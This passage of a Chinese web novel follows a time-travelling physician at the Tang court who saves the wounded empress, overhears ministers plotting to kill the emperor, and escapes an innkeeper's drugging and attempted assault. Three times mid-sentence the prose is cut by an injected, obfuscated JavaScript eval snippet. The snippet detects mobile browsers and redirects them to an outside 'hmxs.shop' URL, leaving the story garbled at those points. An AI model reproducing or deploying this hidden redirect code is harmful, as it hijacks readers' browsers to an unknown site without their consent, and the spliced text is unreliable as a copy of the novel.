“自我安慰就自我安慰吧,人活一世都得靠自我安慰。”皇后苦笑,用手舀起一掌温水浇在自己身上,“我入宫的这五年里,每日每夜都在自我安慰,诸如陛下很忙,陛下忘了,陛下身子不适,以此为他不唤我侍寝来开脱。” 五年都没侍寝?冯麓心里大惊,她没想到那雷厉风行的李麒是个这么禁欲的人。这对从小众星捧月的皇后来说,应该是个不小的打击吧。 冯麓劝慰道:“或许……陛下有难言之隐呢。” “他对我没感情,就算有也是厌恶。我知道,他娶我只是为了堵住大臣们的悠悠众口罢了。”皇后把自己沉进水里,只露出一张艳丽的脸在水面上,“不过如今我想通了,自己过活也不错,而且,这不是还遇到了你吗,至少寡淡的日子有了一点盼头。” 她在水上晏晏一笑,那笑容看起来苦涩至极。冯麓伸手把汤池的水打出水花,扬到皇后那边,笑着说:“娘娘,遇到我可不是好事情,我鬼点子多着呢。” “你这么说的话,我可是会日日期待的。”皇后哈哈大笑,也玩起水来。 冯麓心想,皇后笑起来比不笑时更好看,李麒真没眼光,也没福气。 只是两个月,皇后已经把冯麓视为生活中最不可或缺的一部分,李麒赐给她任何东西她都会第一时间给绫绮殿送去一些。听说冯麓怕冷,她把自己的狐裘皮都送给了冯麓。 冯麓再不识货也看得出来这个狐裘是最好的那一档,她自然是不敢接受,“娘娘,这太贵重,我已经有陛下送的貂皮大氅了不会冻着的。” “不一样,这是我小时候和我爹去打猎打来的,比那些都要好。”皇后亲手把狐裘披在冯麓身上,满意地笑着点头,“麓麓,你穿上这件狐裘真好看,看得人赏心悦目的。” 冯麓不想让皇后坏了兴致,于是只能收下,她转了个圈笑道:“那就多谢娘娘了。” “我以前一直渴望有一个姐妹,可以与我一同出游、一同梳妆,一同说些闺中密话,可是我娘身子不好,所以我只有一个冷冰冰的兄长。”皇后说。 “兄长也很好,可以为娘娘提供强劲的支持。” 皇后顿时就白了一眼,“我进宫这么多年,他明明就在陛下身边,来看我的次数一个巴掌都数得过来,就好像不认识我这个妹妹似的。” “若是可以给我一个机会,我宁愿让你来我们凌家,把那无情无义的兄长换走。” 凌家?那个天天臭着个脸的禁军统领居然是皇后的哥哥。看来,李麒很信任凌家,不然不会让外戚担任禁军统领这么重要的职位。 冯麓回到自己的寝殿,发现她通风压制的人参已经变红变干燥,经过一个月的摸索,红参[1]终于被她加工出来。 红参对于补充气血的功效要比人参更强,在现代通常用于术后大出血或者重病预后的病人。 现如今血纹症仍然难以攻克,冯麓只能用上最顶级的药材来益气摄血了。 冯麓去了一趟尚药局,把炮制红参的方法告知他们,正式开始进行大批量的红参加工。 叶主簿拦住冯麓离开的步伐,说:“郑大人今日正巧不在,不过他前些日子刚拿来了上好的黄芽新团,要不冯大人留下喝盏茶等等?” 不是正巧。是冯麓打听来今日郑安沅要去城里处理事务,所以精挑细选了这个时间来的尚药局。 “不必了,我还有要事在身。”冯麓微笑拒绝了这个提议,拉上芮雪抬脚便走,生怕晚了撞上办完事回来的郑安沅。 冯麓想尽量减少与郑安沅的接触,晾他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513176|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个二三个月不见面,他也就不会有什么想法了。 况且,她也不需要男子来丰富生活,每日和芮雪还有皇后一起吃喝玩乐就已经很满足了,她之前单身了三十五年不也啥事不耽误吗。 冯麓想着今日给皇后和芮雪做一些她家乡菜,一回到绫绮殿就开始准备,她算好了时间,等皇后和李麒从宫外上香归来就正好可以吃上。 但是冯麓没想到,她没等到皇后如夏花般的笑颜,却等来了她受伤的消息。 据来传话的宫人说,李麒遇刺皇后挡刀,她血流不止奄奄一息,但嘴里仍然不断说着冯麓的名字,说什么都要回宫。 冯麓跑去紫宸殿的路上不敢停一秒,她恨为什么皇宫这么大,为什么这段路这么长,为什么自己体力这么差。 当她气喘吁吁跑去紫宸殿的时候,李麒屏退众人,站在床边握住了皇后的手,喃喃地叫着她的乳名。 冯麓奔向床边,“陛下,请门外稍候。” 李麒呆滞地放开那只手,问:“冯小医师,你真的可以救回嬗儿吗?” 冯麓反问:“娘娘相信民女,陛下相信娘娘吗?” 李麒退下,冯麓立即轻轻解开衣服和紧急包扎的布料,露出那道可怖的伤口。凌嬗挨的这一刀非常深,但还好没有伤及重要内脏。 “小雪,立即去拿一碗纯盐水。” 冯麓把盐水浇在伤口上,不断用干净的手帕擦掉血迹,直到把伤口冲洗一遍,上了金创药再重新包扎起来。 “那把刀有无生锈?”“没有。” 还好不会患上破伤风。冯麓拍了拍凌嬗的肩膀喊她的名字,可没有回应,她的意识已经在逐渐消失,恐怕会失血性休克。 “现在立即煎煮人参汤,一两人参,三升水煮至一升拿来。” “小雪,给我百草霜和血余炭[2]。” 芮雪把工具箱里那些药交由冯麓手上,这是先生教她的方法,锅底灰和煅烧的头发有强大的吸附收敛作用。 “去皮姜片。” 芮雪把早已准备好的姜片递上来,冯麓把姜片放在凌嬗的关元、气海和神阙,她又让芮雪把艾绒烧好,一一放在上面进行艾灸。 一刻钟过去,凌嬗还是没有醒,冯麓开始用银针刺水沟和足三里,试图刺激她的心神。 凌嬗终于睁开眼,虽然很快就又重新闭上。 参汤已经煎煮好,冯麓接过碗,小口小口地喂下去。参汤是最好提气的方法,可以稍微代替现代的强心剂和升压药。 喝下参汤后,凌嬗挣扎着睁开眼,缓缓寻着冯麓的手,念叨她的名字。 “你真的来了……” 总算是恢复意识了。冯麓长舒一口气,笑着回握她的手,“娘娘需要我,我必须得来。不过就算不需要我,我也会强行来救治娘娘的。” “其实我是想最后见你一面。”凌嬗说着说着就流下一连串的泪水,带着不舍,和劫后余生的庆幸。 冯麓心头一酸。 在许多时刻,她都是以一个救世主的姿态出现在众人心里,或是平步青云的验方使,或是装神弄鬼的花瓶。 但是在凌嬗触及死亡之线的那一刻,她褪去所有世俗的身份,只是被当成了最好的朋友。强忍痛苦也要见面的朋友。 注释及参考文献: [1]红参的加工炮制最早可溯源于努尔哈赤(清)。 [2]最早可以溯源于《备急千金要方》孙思邈(唐)。 18.重臣之密 经过一个时辰的救治,凌嬗的脉象稳定下来,冯麓正要回绫绮殿拿一些红参,就遇到了仍然在房外等待的李麒。 “陛下,娘娘脱离危险了。” 冯麓突然觉得自己好像一个从抢救室出来交代家属的医生。 “多谢冯小医师。” “陛下不必感谢民女,救治伤者是医师的职责。” “还有一件事。”李麒半眯着双眼,视线聚焦远方,仿佛在回忆些什么,“她入宫以来一直郁郁寡欢,今日祭祖后,是她三年来第一次笑容。她眉飞色舞地述说你们相伴的日子有多美好,她看上去很惬意、很雀跃,好像回到了刚入宫时的模样。” 冯麓发现此时的李麒像变了一个人,或者说,此时的他可能才是卸下伪装后的他,至少此时此刻他看上去并没有那么“厌恶”凌嬗。 “陛下与娘娘之间,是不是有什么误会?”冯麓问。 “没有误会,这正是朕想看到的结果。” 被风摇晃的烛光打在李麒那鲜艳的血纹上,他的声音没有往常那样的狠戾冷酷,眼神也没有想要刺穿对方的精明,只剩一具摇曳着的残破灵魂。 冯麓渐渐从那团迷雾里看清了李麒那颗被他藏起来的心,她鼓起勇气地说:“陛下为何如此?娘娘若得知她与陛下两情相悦,也不必因此自苦五年了。” “朕是中咒之人,二十五岁便会爆血身亡,若用情至深,那么当别离的时刻来临之际,她只会更加痛彻心扉。” “嬗儿很喜欢与孩童嬉戏,想必是很喜欢孩子的,但是……若李氏诅咒仍然存在,那朕的血脉也并没有延续的必要,否则,她只会独自面对一个又一个孩子的离别。” 冯麓还是无法理解,“可是陛下,您与娘娘本可以幸福美满地度过这五年时光,为何要让一个还未发生的结果阻碍您与娘娘的过往与现在?” “一百年,数不清的医师前赴后继仍然没有找到解咒之法,这世间从未有过被命运饶恕之人,朕也不可能例外!” 冯麓皱起眉,问:“陛下您不是找到了民女吗?还是说,其实陛下一直就不相信民女可以解咒?” “朕相信,但恐怕朕,等不到了。”李麒长长地叹了口气,“朕不想看到她像先母那样痛苦,所以只能早做打算。” 早做打算?这打算未免也太早了吧,甚至都没过问凌嬗的想法就自作主张地扼杀了这段感情的一切可能性。李麒对身边人狠,对自己也狠。 冯麓还想再说些什么,就又被李麒抢先一步开口:“她跟朕说,这段时日里,在冯小医师作陪下想明白了许多事情。或许,朕就是她想明白的其中一件事。” “如此也好,”李麒转身离开,瘦削的背影显得更为寂寥,“冯小医师,你来代替朕,让这样的日子继续下去吧。” 随着话音渐落,李麒的身影也彻底消失在暮色中。 “所以李麒的意思是……即使他到了二十五岁我也不会死了?”冯麓自言自语道。 解除了生命危机是一件好事,可冯麓怎样都开心不起来,李麒这份与生死绑定的爱,对于旁观者而言实在太过沉重。 当自己能够预知生命终结时,是多爱一点才不会后悔,还是少爱一点才不会受伤? 这个难题,每个人有自己的答案。所以冯麓自认为李麒的决定太武断残忍,但在李麒眼中,或许这已经是更好的选择。 时光似箭,年关在即,凌嬗开始张罗布置蓬莱殿,连带着蓬莱殿的下人们都染上了喜色。 “麓麓,你要回老家过年吗?”凌嬗眨着大眼睛期待着问。 “不回。” “啊,实在太可惜了,那就来和我过年吧!”凌嬗兴奋地抱着冯麓,冯麓无奈地笑着任她抱着晃来晃去,“娘娘这表情、这话术,跟‘可惜’一点儿边都不沾吧!” “哎呀不管了!反正今年过年总算是热闹了!麓麓,上次你做的‘肠粉’很好吃,我们过年还能再吃一回吗?”凌嬗笑得弯了眼睛,折着手指头一个一个地数着想要吃的食物。 “娘娘,”冯麓试探性地一点点开口,“我过了上元节就要去驻地开展新的验方,就没办法继续留在宫里陪您了。” “这么快啊……”凌嬗刚刚还扬起的嘴角瞬间耷拉下来,露出不舍的沮丧表情。 “我就是去各个地方监工,若是没有意外,很快就会回来的。”冯麓拍了拍凌嬗的后背解释道。 “那若是有意外呢?” 冯麓莞尔一笑道:“为了娘娘,我尽量不发生意外。” 上元节来临,长安虽然天气寒冷但街上人山人海,热闹非凡。凌嬗下午吃了晚饭后就一直坐在露台上,望着宫城外的方向心事重重。 冯麓看到了这一幕,立即提起话头尝试转移她的注意力,“娘娘,看看我做的花灯,如何?” 凌嬗转头,立刻露出微笑捧场道:“哇,这个花灯和小雪真是像呢。” 一旁帮忙布置花灯的芮雪则羞涩地傻笑,怯生生地问:“它这么可爱,民女和它很像吗?” 凌嬗笑得一如柔和晚风,宠溺地说:“你自然是比它更可爱呀。” 冯麓看出了凌嬗的勉强,她的笑容并没有多少真心实意。于是,她悄悄凑到凌嬗耳旁,用只有她们二人才能听到的声音问:“娘娘,想不想跟我走?” 凌嬗眼波流转,正好对上冯麓那极具诱惑力的眼神,她甚至都不知道目的地是何处就点头答应了。 “小雪,来。”冯麓勾勾手指,把芮雪也纳入到她的计划之中。没两句话后,芮雪也颇为兴奋地点点头,一溜烟儿蹿进房间拿出两套男式的胡服与袱头,悄摸儿交由冯麓与凌嬗手上。 很快,芮雪和红叶换上了冯麓和凌嬗的衣服,而那两位有主意的则已经潜入夜色准备出宫了。 “哎,麓麓,你这真能行吗?我们好像贼啊。”凌嬗嘴上质疑着,但既紧张又兴奋的表情狠狠出卖了她。 冯麓偷笑道:“娘娘,我看您当贼好像也挺开心的。” 凌嬗笑着拍了一下冯麓那只拉着她逃跑的手臂,跟着她身后一步步跑到了宫城门口。 “这是哪儿?” 冯麓用手挡住嘴巴小声说:“丹凤门,从这儿出去离大宁坊最近。” “大宁坊……?”凌嬗愣住,这个地名她已经五年没有听过了。 那是她家的街坊。凌嬗不禁回忆起每年的这个时候,她爹娘都会给她买一个锦鲤花灯和一串糖葫芦,当作对她安分一年的奖励。 此时夜色渐浓,他们家里人应该已经去街上游玩回来了吧,也不知道她不在家以后他们还会不会买锦鲤花灯和糖葫芦。 冯麓找到一处狗洞,示范性地先钻了过去,她在墙的另一边喊道:“娘娘,娘娘!快呀!” 凌嬗终于回过神,也学着冯麓的动作费劲地从狗洞钻出去。她们手拉着手,小心翼翼地从翊善坊穿过。 翊善坊是达官显贵的居所,相对于其他热闹的街坊显得十分安静,院子内下人说的一句话院外都可以听得清清楚楚。 “……这个验方使跟尚药局近两个月来制作了一大批奇异的红色人参,据说比人参药效更甚。苏大人,若此女真的找到了解咒之法我们该当如何?” 凌嬗扭过头轻声提醒:“麓麓,他们讨论之事好像与你有关。” 冯麓也听到了,但她不愿意再听下去,这种私下叙话知道得越多越危险。她拉着凌嬗的手腕,加快了脚步。 “解决一个验方使还不简单。”中书令苏炀喝下一杯酒,无所谓地说,“本来我计划得很好,放出谣言让李麒以为孙道士已死,从而自然地顺遂天命把皇位让出来,谁知道会突然冒出来一个冯麓打乱我的计划,这不是自己找死吗。” 什么?孙药王已逝的流言不是偶然的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522069|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误传,而是有心人的预谋? 冯麓大惊,不由得停下脚步,蹑手蹑脚地贴近院墙,试图听到更多细节。 中书侍郎谢磐沉声道:“现如今冯麓久居深宫,只是偶尔出宫办事,她不知何时与皇后走得极近,怕是不好单独对其下手。” 冯麓皱起眉扭头瞥了凌嬗一眼,恰好凌嬗听到这句话也正扭头担忧地看向她。此前,冯麓刚为解除李麒的殉葬危机而松一口气,这会儿又不得不开始提防大臣们的阴谋诡计。 她这条小命,简直是上十份意外保险都不够。 “哈哈哈哈谢大人也太不自信了,”苏炀哈哈大笑,用极为轻松的语气说出十分可怖的话,“借刀杀人应该是你强项才对。” “许久未行此事也有点生疏,否则祭祖那日奄奄一息的就不是皇后而是他李麒了。” 冯麓听到这里总算是把一切都串了起来,此时冷汗浸湿她的后背,晚风一吹,实在是冷冽到令人毛骨悚然。 苏炀和谢磐很早就开始密谋推翻李氏王朝,因为李麒没有手足,也没有子嗣,所以只要他顺应诅咒爆血身亡,他们就有足够的理由夺取皇位。 为了让这个皇位来得理所应当,他们先是通过造谣传谣来让李麒打消寻找名医的念头,再是激烈反对自己进行解咒验方。他们用尽一切手段,就是为了不让李麒有一丁点被治愈的可能。 可最近,他们眼睁睁看着李麒在治疗下逐渐好转,心里一急就派了人去行刺,结果李麒没死,反而刺伤了皇后。 这儿不能再待下去了。 冯麓拉住已经傻愣住的凌嬗,以最快速度跑回宫墙边的狗洞,连最初出宫的目的地都来不及去。 冯麓第一次遇到这样的事情,除了逃跑她想不到别的办法。她慌忙收拾包裹,还吩咐芮雪把所有药材全部打包,她天一亮就要回药谷。 “明日一早?这么急?”芮雪惊讶问。她第一次见到冯麓如此惊慌失措,想必出了大事儿,手上的动作一点不敢停。 “不,现在就走!”冯麓抄起行囊就要出发,却在出殿门时被凌嬗拦了下来。 “现在时辰太晚,宫门城门全关了,要不明日禀报陛下再出去?” “我有天金鱼符,谁也拦不了我。小雪,好了吗?”冯麓回头招呼芮雪,第一次推开凌嬗的手臂。 “随时可以出发。”芮雪深知冯麓这个人什么都不在乎只在乎她的那些药材和诊治小工具,所以很快就收拾好了。 冯麓刚迈出去一步,就感到自己的衣袖猛地朝下坠动,她低头一看,凌嬗竟然拽住她的衣袖跪在了她身侧。 我天,皇后给我下跪,我不会折阳寿吧?!冯麓属实是被吓了一跳。 “娘娘您快起来……” “冯小医师,验方使大人,求你别走,你答应了我再起来。”凌嬗垂着脑袋,因为钻狗洞而凌乱的头发丝正散散地搭在她肩上,狼狈不堪。 冯麓的声音变得冷静下来,“娘娘抱歉,这个请求我不能答应。您刚刚也听到了,我是他们夺权路上的一颗绊脚石,不管我是否能做出解药,他们都会杀了我。我不能一辈子待在宫里,所以死在他们手上只是早晚的事情。” “冯大人,只要你开口,陛下自会保你无虞。”凌嬗仍然死死拽着冯麓不肯放手,眼泪大颗大颗地砸到石板路上,“现下除了你没人可以救陛下了!验方只差一点便可完成,你真的要弃之不顾吗?” “可是娘娘,我只是想活命而已。” 冯麓垂着头紧紧咬着下嘴唇,眼珠酸涩,却滴不出一颗眼泪。 她觉得不公,觉得委屈,她只是想做一个受到尊重的普通医师,早晨起来跟在先生身边打杂学习,午后去村子里帮忙给女子针灸推拿,晚上顺便教导芮雪医术。 这只是她在现代社会上最无聊、最枯燥、最平平无奇的生活,可这样的生活在大唐竟然难如登天。 19.摇摆不定 “可是娘娘……我只想活命而已。” 冯麓低着眉眼紧紧攥着拳头,脑海中闪过的是无数个自己过往行医救人的画面。她不明白,大家都说救人积德,那为什么最后受伤的还是医师。 “可是芮雪呢?她也中了诅咒,你不管她了吗?”凌嬗声音沙哑地问。 这个问题让冯麓不由得一怔。这几个月,芮雪随她吃、随她住,白天跟在她身边学习帮忙,晚上就和她在一个房间里互相陪伴诉说心事。 她早就把芮雪当成自己的家人,也答应过她会尽快完成解药,让芮雪再也不用被不定时的头疾所折磨,但是…… 冯麓回头看了看一直站在她身后的芮雪,眼里尽是矛盾的神色。 芮雪两手提着她的工具箱,露出淡然的微笑,她已经用自己最坚定的眼神告诉了冯麓,冯麓的答案就是她的答案。 冯麓深呼吸一口气后,把凌嬗扶起来苦涩地请求道:“娘娘,看在我救过您两回的份上,您放过我吧。” “我不是圣人,也只是个会怕死的普通人而已。” 凌嬗终于流着眼泪放开手,看着两人的衣摆渐渐消失在漆黑的夜宫之中。 进入宵禁状态的长安城安静得有些可怕,现在天气寒冷,得赶快找到地方落脚才行。 冯麓紧紧拉住芮雪的手,直到拐了五个街口才看到一间还在亮灯的客栈。 冯麓把一锭银子拍到柜台上,因为体力不支声音已经控制不住地发抖,“一间房,一桶热水。” 芮雪的肚子此时“咕噜噜”叫了起来,在空旷的客栈显得格外响亮,芮雪不好意思地摸着自己那空空的肚子不好意思地说:“姐姐不用担心我,我睡着了就不饿了。” “不行,你还在长身体。”冯麓摇了摇头,立刻向跑堂补充,“小二,还得麻烦做一些清粥小菜,多谢。” 冯麓和芮雪上楼之后,掌柜正好从一楼房间里走出来问:“老秦,方才我怎么好像听到了女子的声音?” “掌柜的您没有听错,方才来了两位姑娘住店,不仅长得水灵,看样子还有不少钱。要不要今夜就下手?” “你可看清楚了,她们不是官家子女吧?” 店小二笑得极为谄媚,道:“官家子女能来住咱们店吗?她们穿着打扮十分普通,甚至衣袖还有补丁,应该只是民家女。” “太好了。”掌柜坏笑着摩拳擦掌。他只要稍微幻想一下与两位妙龄女子共度春宵就浑身发热,恨不得马上上楼。 “那稍后她们二人的饭菜和热水就由掌柜送去?”店小二微微眯起眼睛,贼兮兮地上眺着。 掌柜颇为激动,得意地拍拍他的肩膀,“还是你懂我的心思啊!” 冯麓和芮雪丝毫不知危险正在一步步向她们靠近,一边收拾着行李一边谈论着未来的规划。 “等我们回到山谷,我给你介绍我师兄给你认识。” 芮雪笑着点头,冯麓想到什么又歪着脑袋思考着,“哎对了,你应该管我师兄叫什么呢?你算是我的徒弟跟他们不是一辈儿的,难道要叫他们师舅?” “师舅……好像第一次听说这个称呼。” “那就这个了!”冯麓大笑着叉腰,“毕竟你姐姐我就是喜欢做以前没人做过的事!” 正当俩人言笑晏晏之时,掌柜端着一个餐盘推门进来,满面贼笑:“两位姑娘是遇上什么好事儿如此开心啊?” 不速之客让冯麓和芮雪顿时噤声,冯麓收起情绪,礼貌疏离地接过餐盘,“多谢掌柜,您早点儿歇息。” “今日的小菜是我们客栈的新菜,姑娘尝尝看?”掌柜说道。 冯麓觉察到掌柜居心叵测,不太愿意和他打交道,但她们两个弱女子人住屋檐下,若是直接翻脸恐会遭到欺辱。 赶紧把他打发走好了,冯麓心想。于是她坐下来吃了一口,口齿不清地赞道:“嗯,很好吃,掌柜手艺不错。” “姑娘喜欢就好!两位天仙般的姑娘入住小店,小店蓬荜生辉,两位就安心住下,住店和饭钱全都可免。” 冯麓皱起眉,感觉这些话阴森森的不太对劲,问道:“掌柜您什么意思?” 掌柜终于露出真面目,眯着眼逐渐走近冯麓,“姑娘只要肯愿意委身于我,想住多久住多久,整个店都可以给你。” 糟糕,遇到色鬼了。 冯麓一巴掌把银锭拍在桌面上,立即起身冲着芮雪大喊:“小雪我们走!”可是她刚站起来走了两步就感觉天旋地转,摇摇欲坠。 “姐姐!”芮雪走过去扶住她,掌柜眼看着中了计谋,大笑着摩拳擦掌,“你姐姐已经吃了放了迷药的小菜,已经逃不出我的手掌心了!你也乖乖顺从我吧,我绝对好好照顾你俩,不让你们受任何委屈的!” 掌柜说着说着就如同恶虎般扑上来,动手撕扯冯麓的衣服,任由芮雪使出浑身解数也没办法牵制他。 “你会后悔的……”冯麓紧咬牙关狠狠说道。 “我——”掌柜那双闪着凶光的眼睛突然瞪大,还没来得及说完一句话就不受控制地往后倒去。 此时,冯麓才看到凌之韫正抿着嘴站在掌柜身侧,垂着眸默默按着自己的手,关节咔咔地响。 “……你是何人?竟敢在我的店里造次!”掌柜从地上爬起来,企图举起拳头反击却被对方轻易拦截,任凭掌柜如何使劲都无法挣脱。 “你不配知道。”凌之韫说完,他就又是一脚踢去,掌柜痛苦地捂着自己的肚子爬了出去。 冯麓望向凌之韫,他还是身穿那具黑甲,飞扬的剑眉下是一对怒意满满的双瞳,像一座爆发的火山。 冯麓无法支撑继续站着,眼看着就要跪在凌之韫面前,却被他用坚实的手臂一把拉了起来。 “女子在外很危险,请冯医师多加小心。”凌之韫把冯麓扶起后轻轻放开手,沉声说道。 冯麓撑在芮雪肩膀上,点头致谢:“多谢凌大人。” “不必谢我,我是奉命行事。” “奉命行事?谁的命?” “皇后娘娘。”冯麓愣住,她还以为是李麒,却没想到是凌嬗。 “那陛下有没有对娘娘发难?毕竟是她放我走的。” “你以为,没有陛下的授意,你只凭一枚鱼符就可以顺顺利利走出宫门吗?” 凌之韫转过身,高高的马尾富有节奏地甩在他后背,“早日歇息吧,明日还要赶路。” 冯麓急忙朝着凌之韫坚实的背影问道:“娘娘……她还说了什么?” 凌之韫停下脚步,微微侧过脸回答:“她说,不论你做什么选择,都希望你安然无恙。” ---------------- 一大早,凌之韫就敲了冯麓的房门催她起床,他声称要把冯麓亲自送回药谷。 冯麓和芮雪跟着凌之韫一路上遇到不少熟人,不过都是凌之韫的熟人,争着抢着给凌之韫打招呼。不过让冯麓感到奇怪的是,那些人明明不认得她是谁,却对她更热切。 这样表面和谐、实际怪异的氛围结束在了冯麓出长安城门时。 “大统领,这位是……嫂子?”千夫长谄媚着问道。冯麓这才反应过来,原来那些给她打招呼的人是把她当成凌之韫的妻子了。 没想到马屁拍在马腿上,凌之韫赶紧冷声反驳道:“胡说什么,这是陛下的验方使。” 千夫长慌忙拘手认错:“大统领恕罪!验方使大人恕罪!” 凌之韫尴尬地别过头,冯麓则笑着摇摇手,说:“无妨,快起来吧。” 可是千夫长迟迟不起,甚至还“扑通”一声跪在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538266|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,“验方使大人,今日终于得此机会让小的亲自向您表达感谢!”被感谢的冯麓反而摸不着头脑,不知所以地笑道:“谢我什么?” 千夫长猛地俯身磕了个响头,高声喊道:“多谢验方使大人给内子一个活命的机会!若不是大人主持验方之事,内子早就爆血身亡了,如今能多活三个月全是托您的福!” 冯麓扶起他的动作僵在原地。凌之韫先她一步,低低地说:“老曹,你起来吧。” “听说大人改良了药方,大人真是天降神医啊。”千夫长的话简直是一石激起千层浪,此时周围路过的许多人都围了过来,嘴里喊着“是验方使大人!”“原来她就是长安的救星!” 千夫长满面笑容,向冯麓让出身后的城门,“大人要出城一定是去做大事儿了,小的祝大人一路顺风,大人的验方若是成功一定能救更多的人脱离苦海!” “祝大人一路顺风!”人群纷纷呐喊道。 凌之韫和芮雪都不由自主地看向低垂着眼神的冯麓,冯麓此时很心虚,因为她现在出城的目的只是为了逃避。 她甚至不敢接下百姓们的祝福,紧紧拽住行囊的背带,一声不吭地向前走。 不要这样叫我。我不是神医。 冯麓咬着下嘴唇,直到把下嘴唇咬出血来也没感到一丝疼痛。 她坐在城外的一颗大树下,看着远处漫山白雪思考着。她的心开始动摇,开始怀疑自己行医这么多年到底在坚持什么。 医师是一个很特殊的职业。用学医的那些时间和精力去做别的行当或许早已成功了,但在医学上或许还只是一个刚刚拿到执业医师证的新人。 若不是对医学有一些热爱和信念,谁能完完整整地撑过一年又一年枯燥的理论学习、繁杂细致的实践练习、日复一日的否定还有无理取闹的投诉。 她闭上眼睛,感受着刺骨的寒风。 “姐姐,这样吹风会着凉的。” 冯麓沙哑地说道:“正好让我清醒清醒。” 她在黑暗的世界里看到了她最初进入医院时的带教老师,也是后来她的博导孔教授。十几年过去,孔教授她早已白发苍苍,不过她仍然精神抖擞,眉眼里尽是对病患的仁爱之心。 此时,孔教授正站在她面前,笑容让她整张面容都浮现出智慧与岁月的痕迹。 “老师……”只是见到孔教授一眼,冯麓就已经无法控制地疯狂流泪,她跪在地上不断擦着眼泪,可眼泪竟越流越多。 孔教授走来无声地摸了摸她的头发,慈爱地笑着说:“知晓,你已经做得很好了。” “对不起老师,我这么大年纪了还哭成这样。”冯麓抽抽搭搭地说道。 “没关系的呀,你在我面前永远是学生,永远是一个满怀赤诚的小女孩。”孔教授皱起眉的模样都那么温柔,像她家乡的一池江南春水。 “老师,这里跟现代不同,处处都是生命危机,有人不希望我研制出解药想杀了我,但是,但是……”冯麓垂下头咬着嘴唇念叨着。 “但是你不愿意放弃对吗?你不愿意看他们燃起希望又因你而熄灭,对吗?” 冯麓艰难地点了点头。 “如果皇帝当初不以性命威胁,你会去研究解药吗?” 冯麓思虑了一番,最终还是点头。 “既然结果都一样,那说明你本来就是要走这条路的,只是或早或晚罢了。” “可是,老师,如果实现一个目标需要我付出生命,那我还有必要不遗余力地完成吗?” 孔教授也蹲下,让自己那见过世间百态的双眼与冯麓迷茫无措的眼神持平,“你为什么会觉得,那些人一定可以杀死你呢?” “知晓,你既然决定守护大唐子民,就应该给他们一个机会,相信他们也可以守护你。” 20.三期验方 “你既然决定守护大唐子民,就应该给他们一个机会,相信他们也可以守护你。” 孔教授的话让冯麓仿佛在窒息的深水之下瞥见一丝光亮。 “遇到事情不要第一时间就想放弃,否则你一辈子都只能被各种各样的原因困在原地。”孔教授正色说道。 “我明白了,教授。”冯麓点点头,心里已经有了答案。 北风呼啸,光秃秃的大树被吹得东倒西歪,而冯麓始终坐在树下眺望远方,旁人看不清她的眼神也不知道她在想什么。 凌之韫从车里拿出一件大氅,无声无息地披在冯麓身上。冯麓的思绪从远方收回,低头看着身上这件大氅,这还是自己从蒲城带来长安的。 她走的时候除了自己的东西什么都没拿,不论是李麒赏赐的,还是凌嬗相赠的,她不想欠他们什么让缘分绵延不断。现在看来,即使什么也不拿也没办法彻底这段缘分。 冯麓扭头,淡如清泉的眼眸抬起,直视着凌之韫深邃的双眼,直截了当地发问:“凌大人,若有人来杀我阻碍验方之事,你们会保护我吗?” “若冯医师仍然主持验方一事,那便是大唐登记在册的验方使,是陛下的臣子,陛下自不会让重臣落难。”凌之韫移开眼神抿着嘴说,“不过即使冯医师不再主持验方也算是娘娘的好友,你是凌家的贵客,我会倾尽一切保护你的。” 冯麓垂眸思考了半晌,尔后平静地说:“凌大人,请送我回宫吧。” 凌之韫略微惊讶,问道:“冯医师,你只有一次离开的机会,真的想好了吗?” “凌大人——”冯麓站起身,把身上的雪抖落下来,她微笑着又把自己的话重复了一遍,“请送我回宫吧。” 冯麓重新回宫后,立即着手进行三期验方事宜。 她改了一下方案,采用了二期方案里的低剂量组作为本次剂量标准,除了更换的药材其他都不变。而尚药局的红参已经全部炮制成功,足以覆盖验方的全部需要。 一个月后,长安冰雪尽化,绫绮殿院中的树枝也不断萌出新芽。 冯麓的三期验方准备工作完成,她把所有验方选人再次传唤到绫绮殿,分发新的方案和医案格。 “各位请谨记《验方守则》,不要做你们没有授权的事情。”冯麓严肃地冷脸强调道,“所有合并用药以及治疗都要记录在案,记住,是所有!” “是。” 冯麓沉声说:“最后一件事,各位请注意安全,验方只是一份工作,若是遇到危险保命要紧。” 所有人听惯了其他官员的那些拼上性命也要不负所托的说辞,这会儿全都愣在原地,不敢相信自己听到了什么。 “我希望半年后,你们毫发无伤地回来,听到了吗?” “是,大人!” 选人拿了材料以后陆续离开,唯独杨凛留在院中没有离去。 “还有什么事情?”冯麓问。 “大人,您还去蒲城吗?”杨凛期待地问。 